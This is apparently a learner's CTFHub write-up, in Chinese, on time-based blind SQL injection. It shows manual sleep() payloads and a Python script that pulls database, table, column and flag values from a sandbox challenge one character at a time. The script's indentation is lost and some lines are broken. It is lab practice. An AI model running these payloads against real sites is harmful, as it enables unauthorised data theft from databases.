sql时间盲注--ctfhub
测试1 and if(length(database())>1,sleep(5),1)# 确实是5s后才响应了,注入成功
然后接下来的步骤类似于布尔盲注,
继续尝试 这里我猜测数据库名为sqli 结果验证确实(投机取巧 0.0) 不用 1 and if() 直接 if()也可以
1 and if(database()='sqli',sleep(1),1)# 包括后面的思路是对的 (第二个表才是flag)
1 and if(substr(database(),1,1)='s',sleep(1),1) ---猜数据库名
1 and if(substr((select table_name from information_schema.tables where table_schema = 'sqli' limit 1,1),1,1) = 'f ', sleep(1),1) --表名
1 and if(substr((select column_name from information_schema.columns where table_schema = 'sqli' and table_name='flag' limit 0,1),1,1) = 'f ', sleep(1),1) ---列名
验证 确实第2个表和 该表的第一列列名都是flag
以上都是手工测试找了几个位置的数据一下,真正猜测数据库/表/列/字段值 时候最好用python脚本一个个字符进行猜测。
python内容如下:
import requests
import sys
import time
session=requests.session()
urlfirst = "http://challenge-22fc24165686525c.sandbox.ctfhub.com:10080/?id="
str_words = 'qwertyuiopasdfghjklzxcvbnm_' # 数据库/表名中可能有_
str_words_datas = 'qwertyuiopasdfghjklzxcvbnm_{}1234567890' # 读取字段值 字符范围
def get_database():
for k in range(1,5): #已经判断了数据库名长度为4
for i in str_words:
#print(i)
url = urlfirst + 'if(substr(database(),%d,1)="%s",sleep(1),1)'%(k,i)
start_time=time.time()
str_get = session.get(url) #进行url请求
end_time = time.time()
t = end_time - start_time #计算页面响应时间
dbname=''
if t > 1:
dbname += i
print(dbname,end="")
print('\n')
def get_table_name():
for k in range(0,3): #猜测大概有3个表
for j in range(1,10): #可以先判断表名长度,但可能有好几个表,判断起来比较慢,就大概给了个
#表名长度1-9
for i in str_words:
url = urlfirst + "if(substr((select table_name from information_schema.tables
where table_schema = 'sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,j,i)
start_time=time.time()
str_get = session.get(url) #进行url请求
end_time = time.time()
t = end_time - start_time #计算页面响应时间
tbname=''
if t > 1:
tbname += i
print(tbname,end="")
#还有个错误问题是 如果 第三个表不存在则请求时间过长,需要弃包,怎么写
# 优化下print显示结果
print('\n')
print('\n')
def get_column_name():
for k in range(0,3): #猜测大概有3列
for j in range(1,10): #可以先判断列名长度,但一般有很多列,每列都去判断长度比较慢,就大
#概给了个列名长度1-9
for i in str_words:
url = urlfirst + "if(substr((select column_name from information_schema.columns
where table_schema = 'sqli'and table_name='flag' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,j,i)
start_time=time.time()
str_get = session.get(url) #进行url请求
end_time = time.time()
t = end_time - start_time #计算页面响应时间
clname=''
if t > 1:
clname += i
print(clname,end="")
#还有个错误问题是 如果 第三个表不存在则请求时间过长,需要弃包,怎么写
# 优化下print显示结果
print('\n')
print('\n')
def get_datas(): #获取字段值
for k in range(0,3): #猜测大概有3列数据
for j in range(1,60): #猜测数据值名长度1-60
for i in str_words_datas:
#print(i)
url = urlfirst + "if(substr((select flag from sqli.flag limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,j,i)
#遇到其他的题目是 要手动改数据库名/表名/列名
start_time=time.time()
str_get = session.get(url) #进行url请求
end_time = time.time()
t = end_time - start_time #计算页面响应时间
datas=''
if t > 1:
datas += i
print(datas)
#print(datas,end="")
# 优化下print显示结果
print('\n')
print('\n')
if __name__ == "__main__":
#get_table_name()
#get_column_name()
get_datas()
'''
# 1.还有个问题是 通过time判断 可能有时候网络原因导致响应时间大于1,或者程序时间太长,程序出错 结束运行...
#
# 2.get_datas() 就跑出来一次结果,其他的都有提示一些库错误或者timeout 然后中断 还没去研究为什么...
#
# 3.前面猜测表名列名有时候也会出错,多运行几次是可以的,具体原因还没研究...
#
# 萌新刚刚学习,还没整理好,见谅...
#
'''
来源:https://www.cnblogs.com/Pomelo21/p/12566242.html